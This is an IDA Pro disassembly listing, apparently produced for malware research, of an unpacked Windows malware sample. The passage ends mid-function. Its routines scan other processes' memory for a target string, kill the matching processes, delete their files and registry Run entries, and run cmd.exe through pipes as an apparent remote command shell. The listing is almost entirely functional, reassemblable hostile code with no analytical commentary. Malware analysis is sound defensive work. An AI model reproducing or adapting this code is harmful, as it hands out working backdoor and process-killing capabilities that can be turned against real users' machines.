; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6247DBAD260B0985ADADDA2C01EE8C61 ; File Name : u:\work\6247dbad260b0985adadda2c01ee8c61_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00020000 ( 131072.) ; Section size in file : 00020000 ( 131072.) ; Offset to raw data for section: 00001000 ; Flags C0000020: Text Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write _data segment para public 'CODE' use32 assume cs:_data ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_401146+31p ; sub_401146+43p ... var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = byte ptr -260h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = byte ptr -218h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 268h and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_40101A ; --------------------------------------------------------------------------- loc_401013: ; CODE XREF: sub_401000+13Cj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40101A: ; CODE XREF: sub_401000+11j mov eax, [ebp+var_4] cmp off_418000[eax*4], 0 jz loc_401141 mov eax, [ebp+var_4] push off_418000[eax*4] lea eax, [ebp+var_260] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_260] push eax call sub_4105FB pop ecx lea eax, [ebp+var_110] push eax push 3 push 0 lea eax, [ebp+var_260] push eax push [ebp+arg_0] call dword_417008 ; RegOpenKeyExA and [ebp+var_220], 0 jmp short loc_401081 ; --------------------------------------------------------------------------- loc_401074: ; CODE XREF: sub_401000:loc_40112Bj mov eax, [ebp+var_220] inc eax mov [ebp+var_220], eax loc_401081: ; CODE XREF: sub_401000+72j mov [ebp+var_21C], 104h mov [ebp+var_224], 104h lea eax, [ebp+var_224] push eax lea eax, [ebp+var_10C] push eax lea eax, [ebp+var_114] push eax push 0 lea eax, [ebp+var_21C] push eax lea eax, [ebp+var_218] push eax push [ebp+var_220] push [ebp+var_110] call dword_417000 ; RegEnumValueA mov [ebp+var_264], eax cmp [ebp+var_264], 0 jz short loc_4010DD jmp short loc_401130 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: sub_401000+D9j cmp [ebp+var_114], 1 jnz short loc_40112B push [ebp+arg_4] push [ebp+var_224] lea eax, [ebp+var_10C] push eax call sub_407ACA add esp, 0Ch mov [ebp+var_268], eax cmp [ebp+var_268], 0 jz short loc_40112B lea eax, [ebp+var_218] push eax push [ebp+var_110] call dword_417004 ; RegDeleteValueA test eax, eax jnz short loc_40112B mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_40112B: ; CODE XREF: sub_401000+E4j ; sub_401000+10Bj ... jmp loc_401074 ; --------------------------------------------------------------------------- loc_401130: ; CODE XREF: sub_401000+DBj push [ebp+var_110] call dword_417028 ; RegCloseKey jmp loc_401013 ; --------------------------------------------------------------------------- loc_401141: ; CODE XREF: sub_401000+25j mov eax, [ebp+var_8] leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401146 proc near ; CODE XREF: sub_401244+459p ; sub_40A9CF+A72p var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push 80h push [ebp+arg_0] call dword_4170A8 ; SetFileAttributesA test eax, eax jnz short loc_401166 jmp locret_401242 ; --------------------------------------------------------------------------- loc_401166: ; CODE XREF: sub_401146+19j push [ebp+arg_0] call dword_4170AC ; DeleteFileA push [ebp+arg_0] push 80000001h call sub_401000 pop ecx pop ecx mov [ebp+var_4], eax push [ebp+arg_0] push 80000002h call sub_401000 pop ecx pop ecx mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz locret_401242 push 104h push [ebp+arg_0] lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_108] push eax call sub_416B40 ; strlen pop ecx mov [ebp+var_10C], eax jmp short loc_4011DB ; --------------------------------------------------------------------------- loc_4011CE: ; CODE XREF: sub_401146:loc_40121Aj mov eax, [ebp+var_10C] dec eax mov [ebp+var_10C], eax loc_4011DB: ; CODE XREF: sub_401146+86j cmp [ebp+var_10C], 0 jz short loc_40121C mov eax, [ebp+arg_0] add eax, [ebp+var_10C] movsx eax, byte ptr [eax-1] cmp eax, 5Ch jnz short loc_40121A push 104h mov eax, [ebp+var_10C] lea eax, [ebp+eax+var_108] push eax lea eax, [ebp+var_108] push eax call sub_407A56 add esp, 0Ch jmp short loc_40121C ; --------------------------------------------------------------------------- loc_40121A: ; CODE XREF: sub_401146+AEj jmp short loc_4011CE ; --------------------------------------------------------------------------- loc_40121C: ; CODE XREF: sub_401146+9Cj ; sub_401146+D2j lea eax, [ebp+var_108] push eax push 80000001h call sub_401000 pop ecx pop ecx lea eax, [ebp+var_108] push eax push 80000002h call sub_401000 pop ecx pop ecx locret_401242: ; CODE XREF: sub_401146+1Bj ; sub_401146+56j leave retn sub_401146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401244 proc near ; DATA XREF: sub_4017AA+9Do var_3E8 = dword ptr -3E8h var_3E4 = byte ptr -3E4h var_3E0 = dword ptr -3E0h var_3DC = dword ptr -3DCh var_3D8 = dword ptr -3D8h var_3D4 = dword ptr -3D4h var_3D0 = dword ptr -3D0h var_3CC = byte ptr -3CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = dword ptr -2ACh var_2A8 = byte ptr -2A8h var_2A7 = dword ptr -2A7h var_2A3 = byte ptr -2A3h var_1A3 = byte ptr -1A3h var_B = byte ptr -0Bh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3E8h push esi push edi push 2ACh push [ebp+arg_0] lea eax, [ebp+var_2AC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_40129D lea eax, [ebp+var_2A3] push eax mov eax, [ebp+var_2AC] push dword ptr [eax] push offset dword_418144 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_40129D: ; CODE XREF: sub_401244+34j call sub_406041 mov [ebp+var_2B4], eax cmp [ebp+var_2B4], 0 jnz short loc_4012C4 push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp loc_4017A4 ; --------------------------------------------------------------------------- loc_4012C4: ; CODE XREF: sub_401244+6Bj push 10000h call sub_416B46 ; malloc pop ecx mov [ebp+var_2B8], eax and [ebp+var_2BC], 0 and [ebp+var_2B0], 0 jmp short loc_4012F2 ; --------------------------------------------------------------------------- loc_4012E5: ; CODE XREF: sub_401244+E2j ; sub_401244+12Bj ... mov eax, [ebp+var_2B0] inc eax mov [ebp+var_2B0], eax loc_4012F2: ; CODE XREF: sub_401244+9Fj mov eax, [ebp+var_2B4] mov ecx, [ebp+var_2B0] cmp ecx, [eax] jge loc_401710 mov esi, [ebp+var_2B0] imul esi, 114h mov eax, [ebp+var_2B4] mov edi, [eax+4] call dword_4170E8 ; GetCurrentProcessId cmp [edi+esi], eax jnz short loc_401328 jmp short loc_4012E5 ; --------------------------------------------------------------------------- loc_401328: ; CODE XREF: sub_401244+E0j push 104h lea eax, [ebp+var_3CC] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_3CC] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_401374 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401374: ; CODE XREF: sub_401244+129j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] push 0 movzx eax, [ebp+var_2A8] neg eax sbb eax, eax add eax, 11h push eax call dword_417094 ; OpenProcess mov [ebp+var_2C4], eax cmp [ebp+var_2C4], 0 jnz short loc_4013B7 jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_4013B7: ; CODE XREF: sub_401244+16Cj and [ebp+var_2C0], 0 and [ebp+var_2C8], 0 loc_4013C5: ; CODE XREF: sub_401244:loc_4016FAj mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] cmp eax, 10000h jbe short loc_4013F7 mov [ebp+var_3E8], 10000h jmp short loc_40141C ; --------------------------------------------------------------------------- loc_4013F7: ; CODE XREF: sub_401244+1A5j mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+8] sub eax, [ebp+var_2C0] mov [ebp+var_3E8], eax loc_40141C: ; CODE XREF: sub_401244+1B1j mov eax, [ebp+var_3E8] mov [ebp+var_3D0], eax lea eax, [ebp+var_2C8] push eax push [ebp+var_3D0] push [ebp+var_2B8] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov eax, [ecx+eax+4] add eax, [ebp+var_2C0] push eax push [ebp+var_2C4] call dword_417098 ; ReadProcessMemory mov [ebp+var_3D4], eax cmp [ebp+var_3D4], 0 jz loc_4016C5 cmp [ebp+var_2C8], 0 jz loc_4016C5 and [ebp+var_3D8], 0 and [ebp+var_3DC], 0 loc_401495: ; DATA XREF: .data:0041AD00o jmp short loc_4014A4 ; --------------------------------------------------------------------------- loc_401497: ; CODE XREF: sub_401244:loc_4015DBj mov eax, [ebp+var_3DC] inc eax mov [ebp+var_3DC], eax loc_4014A4: ; CODE XREF: sub_401244:loc_401495j mov eax, [ebp+var_2C8] sub eax, [ebp+var_2A7] cmp [ebp+var_3DC], eax ja loc_4015E0 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] add ecx, 20h cmp eax, ecx jz short loc_401514 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_2A3] sub ecx, 20h cmp eax, ecx jnz loc_4015DB loc_401514: ; CODE XREF: sub_401244+290j ; sub_401244+2ADj mov [ebp+var_3E0], 1 jmp short loc_40152D ; --------------------------------------------------------------------------- loc_401520: ; CODE XREF: sub_401244:loc_4015D6j mov eax, [ebp+var_3E0] inc eax mov [ebp+var_3E0], eax loc_40152D: ; CODE XREF: sub_401244+2DAj mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] test eax, eax jnz short loc_401556 mov eax, [ebp+var_2B8] add eax, [ebp+var_3DC] mov [ebp+var_3D8], eax jmp loc_40179F ; --------------------------------------------------------------------------- loc_401556: ; CODE XREF: sub_401244+2F9j mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] add ecx, 20h cmp eax, ecx jz short loc_4015D6 mov eax, [ebp+var_3E0] movsx eax, [ebp+eax+var_2A3] mov ecx, [ebp+var_3DC] add ecx, [ebp+var_3E0] mov edx, [ebp+var_2B8] movsx ecx, byte ptr [edx+ecx] sub ecx, 20h cmp eax, ecx jz short loc_4015D6 jmp short loc_4015DB ; --------------------------------------------------------------------------- loc_4015D6: ; CODE XREF: sub_401244+338j ; sub_401244+363j ... jmp loc_401520 ; --------------------------------------------------------------------------- loc_4015DB: ; CODE XREF: sub_401244+2CAj ; sub_401244+390j jmp loc_401497 ; --------------------------------------------------------------------------- loc_4015E0: ; CODE XREF: sub_401244+272j ; sub_401244:loc_40179Fj cmp [ebp+var_3D8], 0 jz loc_4016C5 mov eax, [ebp+var_2BC] inc eax mov [ebp+var_2BC], eax movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401675 push 3E8h call dword_41709C ; Sleep mov al, [ebp+var_B] mov [ebp+var_3E4], al and [ebp+var_B], 0 mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] push dword ptr [ecx+eax] mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax lea eax, [ebp+var_2A3] push eax push offset dword_41811C lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 14h mov al, [ebp+var_3E4] mov [ebp+var_B], al jmp short loc_4016A3 ; --------------------------------------------------------------------------- loc_401675: ; CODE XREF: sub_401244+3BFj push 0 push [ebp+var_2C4] call dword_4170A0 ; TerminateProcess mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] lea eax, [ecx+eax+0Ch] push eax call sub_401146 pop ecx loc_4016A3: ; CODE XREF: sub_401244+42Fj mov eax, [ebp+var_2AC] cmp dword ptr [eax+4], 0 jz short loc_4016C0 push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_40179A ; --------------------------------------------------------------------------- loc_4016C0: ; CODE XREF: sub_401244+469j jmp loc_401795 ; --------------------------------------------------------------------------- loc_4016C5: ; CODE XREF: sub_401244+230j ; sub_401244+23Dj ... mov eax, [ebp+var_2C0] add eax, [ebp+var_3D0] mov [ebp+var_2C0], eax mov eax, [ebp+var_2B0] imul eax, 114h mov ecx, [ebp+var_2B4] mov ecx, [ecx+4] mov edx, [ebp+var_2C0] cmp edx, [ecx+eax+8] jnz short loc_4016FA jmp short loc_4016FF ; --------------------------------------------------------------------------- loc_4016FA: ; CODE XREF: sub_401244+4B2j jmp loc_4013C5 ; --------------------------------------------------------------------------- loc_4016FF: ; CODE XREF: sub_401244+4B4j ; sub_401244:loc_401795j push [ebp+var_2C4] call dword_4170A4 ; CloseHandle jmp loc_4012E5 ; --------------------------------------------------------------------------- loc_401710: ; CODE XREF: sub_401244+BCj ; sub_401244:loc_40179Aj push [ebp+var_2B4] call sub_40636E pop ecx push [ebp+var_2B8] call sub_416B4C ; free pop ecx movzx eax, [ebp+var_2A8] test eax, eax jz short loc_401785 push 3E8h call dword_41709C ; Sleep cmp [ebp+var_2BC], 0 jnz short loc_401764 lea eax, [ebp+var_2A3] push eax push offset dword_4180F8 lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 0Ch jmp short loc_401785 ; --------------------------------------------------------------------------- loc_401764: ; CODE XREF: sub_401244+501j lea eax, [ebp+var_2A3] push eax push [ebp+var_2BC] push offset dword_4180CC lea eax, [ebp+var_1A3] push eax call sub_40D53F add esp, 10h loc_401785: ; CODE XREF: sub_401244+4EDj ; sub_401244+51Ej push [ebp+var_2AC] call sub_409763 pop ecx xor eax, eax jmp short loc_4017A4 ; --------------------------------------------------------------------------- loc_401795: ; CODE XREF: sub_401244:loc_4016C0j jmp loc_4016FF ; --------------------------------------------------------------------------- loc_40179A: ; CODE XREF: sub_401244+477j jmp loc_401710 ; --------------------------------------------------------------------------- loc_40179F: ; CODE XREF: sub_401244+30Dj jmp loc_4015E0 ; --------------------------------------------------------------------------- loc_4017A4: ; CODE XREF: sub_401244+7Bj ; sub_401244+54Fj pop edi pop esi leave retn 4 sub_401244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017AA proc near ; CODE XREF: sub_40A9CF+AA1p ; sub_40A9CF+AD2p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jz short loc_4017C2 push [ebp+arg_4] call sub_416B40 ; strlen pop ecx test eax, eax jnz short loc_4017C7 loc_4017C2: ; CODE XREF: sub_4017AA+9j jmp locret_401854 ; --------------------------------------------------------------------------- loc_4017C7: ; CODE XREF: sub_4017AA+16j push 2ACh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4017DD jmp short locret_401854 ; --------------------------------------------------------------------------- loc_4017DD: ; CODE XREF: sub_4017AA+2Fj mov eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax+4], cl push [ebp+arg_4] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_4] mov [ecx+5], eax push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 9 push eax call sub_416B58 ; strncpy add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 109h push eax call sub_405F67 pop ecx pop ecx movzx eax, [ebp+arg_8] test eax, eax jz short loc_401830 mov [ebp+var_8], offset aListing ; "Listing" jmp short loc_401837 ; --------------------------------------------------------------------------- loc_401830: ; CODE XREF: sub_4017AA+7Bj mov [ebp+var_8], offset aKilling ; "Killing" loc_401837: ; CODE XREF: sub_4017AA+84j push [ebp+arg_4] push [ebp+var_8] push offset dword_418174 push 0 push [ebp+var_4] push offset sub_401244 call sub_4095A4 add esp, 18h locret_401854: ; CODE XREF: sub_4017AA:loc_4017C2j ; sub_4017AA+31j leave retn sub_4017AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401856 proc near ; CODE XREF: sub_401981+A8p ; sub_401981+E1p ... push ebp mov ebp, esp cmp dword_41DE24, 0FFFFFFFFh jz short loc_40186E push dword_41DE24 call dword_4170A4 ; CloseHandle loc_40186E: ; CODE XREF: sub_401856+Aj cmp dword_41DE18, 0FFFFFFFFh jz short loc_401883 push dword_41DE18 call dword_4170A4 ; CloseHandle loc_401883: ; CODE XREF: sub_401856+1Fj cmp dword_41DE1C, 0FFFFFFFFh jz short loc_401898 push dword_41DE1C call dword_4170A4 ; CloseHandle loc_401898: ; CODE XREF: sub_401856+34j cmp dword_41DE20, 0FFFFFFFFh jz short loc_4018AD push dword_41DE20 call dword_4170A4 ; CloseHandle loc_4018AD: ; CODE XREF: sub_401856+49j pop ebp retn sub_401856 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018AF proc near ; CODE XREF: sub_401981+28Ap ; sub_401981+395p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 200h mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jnz short loc_4018D4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401922 loc_4018D4: ; CODE XREF: sub_4018AF+15j ; sub_4018AF:loc_401920j push 32h call dword_41709C ; Sleep mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+189h] test eax, eax jz short loc_4018FE call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 1F4h jb short loc_4018FE jmp short loc_401922 ; --------------------------------------------------------------------------- loc_4018FE: ; CODE XREF: sub_4018AF+39j ; sub_4018AF+4Bj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Dh] test eax, eax jz short loc_401920 call sub_416B64 ; clock sub eax, dword_41DE2C cmp eax, 0FAh jb short loc_401920 jmp short loc_401922 ; --------------------------------------------------------------------------- loc_401920: ; CODE XREF: sub_4018AF+5Bj ; sub_4018AF+6Dj jmp short loc_4018D4 ; --------------------------------------------------------------------------- loc_401922: ; CODE XREF: sub_4018AF+23j ; sub_4018AF+4Dj ... call sub_416B64 ; clock mov dword_41DE2C, eax mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_401942 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_401957 loc_401942: ; CODE XREF: sub_4018AF+86j push offset dword_4181A4 lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx jmp short loc_40196E ; --------------------------------------------------------------------------- loc_401957: ; CODE XREF: sub_4018AF+91j push 200h push [ebp+arg_4] lea eax, [ebp+var_200] push eax call sub_407A56 add esp, 0Ch loc_40196E: ; CODE XREF: sub_4018AF+A6j lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_40D53F pop ecx pop ecx leave retn sub_4018AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401981 proc near ; DATA XREF: sub_401D6E+88o var_730 = dword ptr -730h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_714 = dword ptr -714h var_510 = byte ptr -510h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_360 = dword ptr -360h var_334 = dword ptr -334h var_330 = word ptr -330h var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = byte ptr -31Ch var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = byte ptr -30Ch var_208 = dword ptr -208h var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 730h push 3A7h push [ebp+arg_0] lea eax, [ebp+var_714] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock sub eax, 1F4h mov dword_41DE2C, eax push 0 lea eax, [ebp+var_30C] push eax push 104h push 0 push offset aCmd_exe ; "cmd.exe" push 0 call dword_41706C ; SearchPathA test eax, eax jnz short loc_4019ED push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_4019ED: ; CODE XREF: sub_401981+57j mov [ebp+var_318], 0Ch mov [ebp+var_310], 1 and [ebp+var_314], 0 push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_368] push eax lea eax, [ebp+var_364] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A41 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A41: ; CODE XREF: sub_401981+A6j push 0 lea eax, [ebp+var_318] push eax lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_728] push eax call dword_417070 ; CreatePipe test eax, eax jnz short loc_401A7A call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401A7A: ; CODE XREF: sub_401981+DFj push 3 push 0 push 0 push offset dword_41DE20 call dword_417074 ; GetCurrentProcess push eax push [ebp+var_36C] call dword_417074 ; GetCurrentProcess push eax call dword_4170F0 ; DuplicateHandle test eax, eax jnz short loc_401ABB call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_401981+120j push 10h push 0 lea eax, [ebp+var_724] push eax call sub_416B6A ; memset add esp, 0Ch push 44h push 0 lea eax, [ebp+var_360] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_360], 44h mov [ebp+var_334], 101h and [ebp+var_330], 0 mov eax, [ebp+var_728] mov [ebp+var_328], eax mov eax, [ebp+var_368] mov [ebp+var_324], eax mov eax, [ebp+var_368] mov [ebp+var_320], eax lea eax, [ebp+var_724] push eax lea eax, [ebp+var_360] push eax push 0 push 0 push 0 push 1 push 0 push 0 push offset byte_41DE30 lea eax, [ebp+var_30C] push eax call dword_41707C ; CreateProcessA test eax, eax jnz short loc_401B69 call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax jmp locret_401D35 ; --------------------------------------------------------------------------- loc_401B69: ; CODE XREF: sub_401981+1CEj push [ebp+var_728] call dword_4170A4 ; CloseHandle mov eax, [ebp+var_364] mov dword_41DE24, eax mov eax, [ebp+var_36C] mov dword_41DE18, eax mov eax, [ebp+var_724] mov dword_41DE1C, eax push [ebp+var_720] call dword_4170A4 ; CloseHandle and [ebp+var_4], 0 and [ebp+var_208], 0 loc_401BAD: ; CODE XREF: sub_401981+2E9j ; sub_401981+39Cj mov eax, [ebp+var_714] cmp dword ptr [eax+4], 0 jz short loc_401BBE jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401BBE: ; CODE XREF: sub_401981+236j and [ebp+var_208], 0 push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 push 0 lea eax, [ebp+var_4] push eax push 200h lea eax, [ebp+var_204] push eax push dword_41DE24 call dword_417080 ; PeekNamedPipe test eax, eax jnz short loc_401C17 push offset aCouldNotReadDa ; "Could not read data from process." lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C17: ; CODE XREF: sub_401981+27Cj cmp [ebp+var_4], 0 jnz short loc_401C6F mov [ebp+var_730], 103h lea eax, [ebp+var_730] push eax push dword_41DE1C call dword_417084 ; GetExitCodeProcess test eax, eax jz short loc_401C62 cmp [ebp+var_730], 103h jz short loc_401C62 push offset aCmd_exeProcess ; "Cmd.exe process has terminated." lea eax, [ebp+var_510] push eax call sub_40D53F pop ecx pop ecx jmp loc_401D22 ; --------------------------------------------------------------------------- loc_401C62: ; CODE XREF: sub_401981+2BBj ; sub_401981+2C7j push 0Ah call dword_41709C ; Sleep jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401C6F: ; CODE XREF: sub_401981+29Aj and [ebp+var_72C], 0 jmp short loc_401C85 ; --------------------------------------------------------------------------- loc_401C78: ; CODE XREF: sub_401981:loc_401CAFj mov eax, [ebp+var_72C] inc eax mov [ebp+var_72C], eax loc_401C85: ; CODE XREF: sub_401981+2F5j mov eax, [ebp+var_72C] cmp eax, [ebp+var_4] jnb short loc_401CB1 mov eax, [ebp+var_72C] movsx eax, [ebp+eax+var_204] cmp eax, 0Ah jnz short loc_401CAF mov [ebp+var_208], 1 jmp short loc_401CB1 ; --------------------------------------------------------------------------- loc_401CAF: ; CODE XREF: sub_401981+320j jmp short loc_401C78 ; --------------------------------------------------------------------------- loc_401CB1: ; CODE XREF: sub_401981+30Dj ; sub_401981+32Cj cmp [ebp+var_208], 0 jz short loc_401CC6 mov eax, [ebp+var_72C] inc eax mov [ebp+var_4], eax jmp short loc_401CCD ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401981+337j mov [ebp+var_4], 200h loc_401CCD: ; CODE XREF: sub_401981+343j push 200h push 0 lea eax, [ebp+var_204] push eax call sub_416B6A ; memset add esp, 0Ch push 0 lea eax, [ebp+var_31C] push eax push [ebp+var_4] lea eax, [ebp+var_204] push eax push dword_41DE24 call dword_417088 ; ReadFile test eax, eax jnz short loc_401D08 jmp short loc_401D22 ; --------------------------------------------------------------------------- loc_401D08: ; CODE XREF: sub_401981+383j lea eax, [ebp+var_204] push eax lea eax, [ebp+var_510] push eax call sub_4018AF pop ecx pop ecx jmp loc_401BAD ; --------------------------------------------------------------------------- loc_401D22: ; CODE XREF: sub_401981+238j ; sub_401981+291j ... call sub_401856 push [ebp+var_714] call sub_409763 pop ecx xor eax, eax locret_401D35: ; CODE XREF: sub_401981+67j ; sub_401981+BBj ... leave retn 4 sub_401981 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D39 proc near ; CODE XREF: sub_401D6E+AFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push eax push [ebp+var_4] push [ebp+arg_0] push dword_41DE20 call dword_417068 ; WriteFile test eax, eax jnz short loc_401D69 xor eax, eax jmp short locret_401D6C ; --------------------------------------------------------------------------- loc_401D69: ; CODE XREF: sub_401D39+2Aj push 1 pop eax locret_401D6C: ; CODE XREF: sub_401D39+2Ej leave retn sub_401D39 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D6E proc near ; CODE XREF: sub_40A9CF+14A0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+198h] test eax, eax jz short loc_401DA6 cmp [ebp+arg_4], 0 jnz short loc_401D8B jmp locret_401E36 